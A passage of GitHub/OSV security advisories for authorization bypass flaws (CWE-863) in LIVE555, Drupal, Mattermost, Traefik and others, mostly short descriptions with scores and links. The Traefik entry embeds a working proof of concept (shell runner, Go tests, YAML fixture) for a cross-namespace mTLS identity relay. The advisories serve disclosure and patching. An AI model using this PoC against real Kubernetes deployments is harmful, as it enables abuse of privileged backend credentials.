CWE-863

{
  "affected": [],
  "aliases": [
    "CVE-2026-41470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T19:16:50Z",
    "severity": "HIGH"
  },
  "details": "LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting active streams by terminating victim sessions.",
  "id": "GHSA-3x7c-xg4r-972q",
  "modified": "2026-05-19T21:32:03Z",
  "published": "2026-05-19T21:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41470"
    },
    {
      "type": "WEB",
      "url": "https://download.live555.com"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/yhcho0405/ee9b67a96808ef19f22e8a4ee88c795f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/live555-rtsp-server-authorization-bypass-via-session-token"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-6672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-25T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in certain filtering mechanisms of access control lists (ACLs) for Cisco ASR 5000 Series Aggregation Services Routers through 21.x could allow an unauthenticated, remote attacker to bypass ACL rules that have been configured for an affected device. More Information: CSCvb99022 CSCvc16964 CSCvc37351 CSCvc54843 CSCvc63444 CSCvc77815 CSCvc88658 CSCve08955 CSCve14141 CSCve33870.",
  "id": "GHSA-3xgv-53v3-rfw4",
  "modified": "2022-05-13T01:46:44Z",
  "published": "2022-05-13T01:46:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6672"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170719-asr1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99921"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038962"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-29766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-09T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "An issue found in CrossX v.1.15.3 for Android allows a local attacker to cause an escalation of Privileges via the database files.",
  "id": "GHSA-3xm7-hgh9-chcw",
  "modified": "2024-04-04T04:42:54Z",
  "published": "2023-06-09T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29766/CVE%20detailed.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.9.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.1.0"
            },
            {
              "fixed": "9.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.2.0"
            },
            {
              "fixed": "9.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-04T14:45:42Z",
    "nvd_published_at": "2022-02-11T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Under some circumstances, the Drupal core JSON:API module does not properly restrict access to certain content, which may result in unintended access bypass. Sites that do not have the JSON:API module enabled are not affected.",
  "id": "GHSA-3xr3-phjp-g6p2",
  "modified": "2023-10-04T14:45:42Z",
  "published": "2022-02-12T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13677"
    },
    {
      "type": "WEB",
      "url": "https://github.com/drupal/core/commit/7a9bef4b4750d79ab42498e459012cabe4c4bd8b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/drupal/core"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2021-010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Drupal core access bypass vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-25340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-04T22:15:00Z",
    "severity": "LOW"
  },
  "details": "Improper access control vulnerability in Samsung keyboard version prior to SMR Feb-2021 Release 1 allows physically proximate attackers to change in arbitrary settings during Initialization State.",
  "id": "GHSA-3xxr-x7rp-pc4x",
  "modified": "2022-09-25T00:00:18Z",
  "published": "2022-05-24T17:43:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25340"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250820115038-ff30b84049f0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0"
            },
            {
              "fixed": "10.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-10545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-16T20:59:09Z",
    "nvd_published_at": "2025-10-16T09:15:33Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.10, 10.11.x \u003c= 10.11.2 fail to properly validate guest user permissions when adding channel members which allows guest users to add any team members to their private channels via the `/api/v4/channels/{channel_id}/members` endpoint",
  "id": "GHSA-424h-xj87-m937",
  "modified": "2025-10-16T20:59:09Z",
  "published": "2025-10-16T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/31319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/33827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/fb9c583f5e466a566a5122154ef337bbf2238902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/ff30b84049f0193f0570d30e46cffc3602298c67"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost has an Incorrect Authorization vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.5.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.11.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250721095846-c602a4a78e1f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.39.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T16:03:01Z",
    "nvd_published_at": "2025-08-21T08:15:30Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.8, 9.11.x \u003c= 9.11.17 fail to properly validate authorization for team scheme role modifications which allows Team Admins to demote Team Members to Guests via the PUT /api/v4/teams/team-id/members/user-id/schemeRoles API endpoint.",
  "id": "GHSA-4276-cm8c-788h",
  "modified": "2025-08-29T20:57:09Z",
  "published": "2025-08-21T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3902"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Properly Validate Team Role Modification"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:53:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity cross-provider reference vulnerability in Traefik\u0027s Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` \u2014 including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes CRD provider enforces `crossProviderNamespaces` for several\ncross-provider references, but `IngressRouteTCP` service\n`serversTransport` references skip that allowlist. A low-privileged Kubernetes\nuser in a namespace that is not listed in `crossProviderNamespaces` can still\nset `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik\naccepts the forbidden cross-provider reference and later uses the referenced\n`TCPServersTransport`, including privileged backend mTLS client certificates,\nSPIFFE identity, or PROXY protocol settings.\n\n## Description\n\n`crossProviderNamespaces` is documented and implemented as an allowlist for\nnamespaces that may declare cross-provider references from Kubernetes CRD\nobjects. HTTP `serversTransport` references enforce that allowlist. TCP\n`serversTransport` references do not.\n\nAn attacker with low Kubernetes privileges in namespace `default` can create an\n`IngressRouteTCP` service with:\n\n```yaml\nserversTransport: foo@file\n```\n\nEven when the provider is configured with:\n\n```yaml\ncrossProviderNamespaces:\n  - operator-only\n```\n\nTraefik still emits a TCP dynamic service whose load balancer points to\n`foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced\ntransport name and applies that transport\u0027s TLS client certificates and related\nbackend-connection settings.\n\n## Impact\n\nThe PoC demonstrates two positive facts:\n\n1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and\n   store `LoadBalancer.ServersTransport = \"foo@file\"` from an\n   `IngressRouteTCP` service.\n2. A qualified `foo@file` `TCPServersTransport` with a client certificate is\n   actually consumed by the TCP dialer and presented to an mTLS backend.\n\nThis proves a backend identity relay primitive: a lower-privileged CRD author\ncan make Traefik connect to a backend using an operator-defined cross-provider\ntransport identity that the namespace should not be allowed to reference.\n\n## Proof Of Concept\n\n### Files\n\n- `run.sh`: portable runner.\n- `poc_crd_test.go`: positive CRD provider proof.\n- `with_servers_transport_cross_provider_poc.yml`: minimal\n  `IngressRouteTCP` fixture.\n- `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof.\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\necho \"[*] target_ref=$TARGET_REF\"\necho \"[*] workdir=$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\techo \"[*] cloning from local source: $TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\techo \"[*] cloning from remote: $REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/crd/fixtures/tcp\ncp \"$SCRIPT_DIR/poc_crd_test.go\" \\\n\t pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go\ncp \"$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml\" \\\n\t pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml\ncp \"$SCRIPT_DIR/poc_tcp_mtls_test.go\" \\\n\t pkg/tcp/dialer_cross_provider_identity_poc_test.go\n\necho \"[*] running CRD provider policy-bypass PoC\"\ngo test ./pkg/provider/kubernetes/crd \\\n\t-run \u0027^TestPoCTCPServersTransportCrossProviderNamespacesBypass$\u0027 \\\n\t-count=1 -v\n\necho \"[*] running TCPServersTransport mTLS identity-use PoC\"\ngo test ./pkg/tcp \\\n\t-run \u0027^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$\u0027 \\\n\t-count=1 -v\n\necho \"POC_RESULT=PASS\"\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_crd_test.go\u003c/summary\u003e\n\n```go\npackage crd\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\ttraefikcrdfake \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {\n\tk8sObjects, crdObjects := readResources(t, []string{\n\t\t\"tcp/services.yml\",\n\t\t\"tcp/with_servers_transport_cross_provider_poc.yml\",\n\t})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tcrdClient := traefikcrdfake.NewClientset(crdObjects...)\n\tclient := newClientImpl(kubeClient, crdClient)\n\n\tstopCh := make(chan struct{})\n\tdefer close(stopCh)\n\n\teventCh, err := client.WatchAll(nil, stopCh)\n\trequire.NoError(t, err)\n\t\u003c-eventCh\n\n\tprovider := Provider{\n\t\tAllowCrossNamespace:     true,\n\t\tCrossProviderNamespaces: []string{\"operator-only\"},\n\t}\n\n\tconf := provider.loadConfigurationFromCRD(t.Context(), client)\n\tservice := conf.TCP.Services[\"default-test.route-fdd3e9338e47a45efefc\"]\n\trequire.NotNil(t, service)\n\trequire.NotNil(t, service.LoadBalancer)\n\trequire.Equal(t, \"foo@file\", service.LoadBalancer.ServersTransport)\n\trequire.NotEmpty(t, service.LoadBalancer.Servers)\n\trequire.True(t, service.LoadBalancer.Servers[0].TLS)\n\n\tt.Logf(\"POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v\",\n\t\tprovider.CrossProviderNamespaces,\n\t\tservice.LoadBalancer.ServersTransport,\n\t\tservice.LoadBalancer.Servers[0].TLS)\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_tcp_mtls_test.go\u003c/summary\u003e\n\n```go\npackage tcp\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/big\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\ttraefiktls \"github.com/traefik/traefik/v3/pkg/tls\"\n\t\"github.com/traefik/traefik/v3/pkg/types\"\n)\n\nfunc TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {\n\tpki := newPoCPKI(t)\n\n\tdialerManager := NewDialerManager(nil)\n\tdialerManager.Update(map[string]*dynamic.TCPServersTransport{\n\t\t\"foo@file\": {\n\t\t\tTLS: \u0026dynamic.TLSClientConfig{\n\t\t\t\tServerName: \"example.com\",\n\t\t\t\tRootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},\n\t\t\t\tCertificates: traefiktls.Certificates{\n\t\t\t\t\ttraefiktls.Certificate{\n\t\t\t\t\t\tCertFile: types.FileOrContent(pki.clientCertPEM),\n\t\t\t\t\t\tKeyFile:  types.FileOrContent(pki.clientKeyPEM),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\tbackendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)\n\tdefer closeBackend()\n\n\tdialer, err := dialerManager.Build(\u0026dynamic.TCPServersLoadBalancer{ServersTransport: \"foo@file\"}, true)\n\trequire.NoError(t, err)\n\n\tconn, err := dialer.Dial(\"tcp\", backendAddr, nil)\n\trequire.NoError(t, err)\n\tdefer conn.Close()\n\n\t_, err = conn.Write([]byte(\"ping\"))\n\trequire.NoError(t, err)\n\n\tbuf := make([]byte, 4)\n\t_, err = io.ReadFull(conn, buf)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"PONG\", string(buf))\n\n\tvar cn string\n\tselect {\n\tcase cn = \u003c-peerCN:\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend peer certificate\")\n\t}\n\n\tselect {\n\tcase err := \u003c-done:\n\t\trequire.NoError(t, err)\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend completion\")\n\t}\n\n\tt.Logf(\"POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q\",\n\t\t\"foo@file\", cn, string(buf))\n}\n\nfunc newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, \u003c-chan string, \u003c-chan error, func()) {\n\tt.Helper()\n\n\tserverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)\n\trequire.NoError(t, err)\n\n\tclientPool := x509.NewCertPool()\n\trequire.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))\n\n\tlistener, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\trequire.NoError(t, err)\n\n\ttlsListener := tls.NewListener(listener, \u0026tls.Config{\n\t\tCertificates: []tls.Certificate{serverCert},\n\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\tClientCAs:    clientPool,\n\t})\n\n\tpeerCN := make(chan string, 1)\n\tdone := make(chan error, 1)\n\n\tgo func() {\n\t\tconn, err := tlsListener.Accept()\n\t\tif err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tdefer conn.Close()\n\n\t\ttlsConn, ok := conn.(*tls.Conn)\n\t\tif !ok {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected connection type %T\", conn)\n\t\t\treturn\n\t\t}\n\n\t\tif err := tlsConn.Handshake(); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\n\t\tstate := tlsConn.ConnectionState()\n\t\tif len(state.PeerCertificates) == 0 {\n\t\t\tdone \u003c- fmt.Errorf(\"missing peer certificate\")\n\t\t\treturn\n\t\t}\n\t\tpeerCN \u003c- state.PeerCertificates[0].Subject.CommonName\n\n\t\tbuf := make([]byte, 4)\n\t\tif _, err := io.ReadFull(tlsConn, buf); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tif string(buf) != \"ping\" {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected backend payload %q\", string(buf))\n\t\t\treturn\n\t\t}\n\n\t\t_, err = tlsConn.Write([]byte(\"PONG\"))\n\t\tdone \u003c- err\n\t}()\n\n\treturn listener.Addr().String(), peerCN, done, func() {\n\t\t_ = tlsListener.Close()\n\t}\n}\n\ntype poCPKI struct {\n\tcaCertPEM     []byte\n\tserverCertPEM []byte\n\tserverKeyPEM  []byte\n\tclientCertPEM []byte\n\tclientKeyPEM  []byte\n}\n\nfunc newPoCPKI(t *testing.T) poCPKI {\n\tt.Helper()\n\n\tcaKey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tcaTemplate := \u0026x509.Certificate{\n\t\tSerialNumber:          big.NewInt(1),\n\t\tSubject:               pkix.Name{CommonName: \"poc-ca\"},\n\t\tNotBefore:             time.Now().Add(-time.Minute),\n\t\tNotAfter:              time.Now().Add(time.Hour),\n\t\tKeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,\n\t\tBasicConstraintsValid: true,\n\t\tIsCA:                  true,\n\t}\n\n\tcaDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, \u0026caKey.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tserverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"poc-server\", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})\n\tclientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"example.com\", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})\n\n\treturn poCPKI{\n\t\tcaCertPEM:     pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: caDER}),\n\t\tserverCertPEM: serverCertPEM,\n\t\tserverKeyPEM:  serverKeyPEM,\n\t\tclientCertPEM: clientCertPEM,\n\t\tclientKeyPEM:  clientKeyPEM,\n\t}\n}\n\nfunc newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {\n\tt.Helper()\n\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tserial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\trequire.NoError(t, err)\n\n\ttemplate := \u0026x509.Certificate{\n\t\tSerialNumber: serial,\n\t\tSubject:      pkix.Name{CommonName: cn},\n\t\tDNSNames:     []string{\"example.com\"},\n\t\tNotBefore:    time.Now().Add(-time.Minute),\n\t\tNotAfter:     time.Now().Add(time.Hour),\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,\n\t\tExtKeyUsage:  eku,\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, \u0026key.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tkeyDER := x509.MarshalPKCS1PrivateKey(key)\n\n\treturn pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: certDER}),\n\t\tpem.EncodeToMemory(\u0026pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: keyDER})\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ewith_servers_transport_cross_provider_poc.yml\u003c/summary\u003e\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRouteTCP\nmetadata:\n  name: test.route\n  namespace: default\n\nspec:\n  entryPoints:\n    - foo\n\n  routes:\n  - match: HostSNI(`foo.com`)\n    priority: 12\n    services:\n    - name: whoamitcp\n      port: 8000\n      tls: true\n      serversTransport: foo@file\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.6.21 ./run.sh\n```\n\nOptional local-source override for faster local validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport=\"foo@file\" backend_tls=true\nPOC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=\"foo@file\" peer_cn=\"example.com\" response=\"PONG\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. The provider option is meant to cover 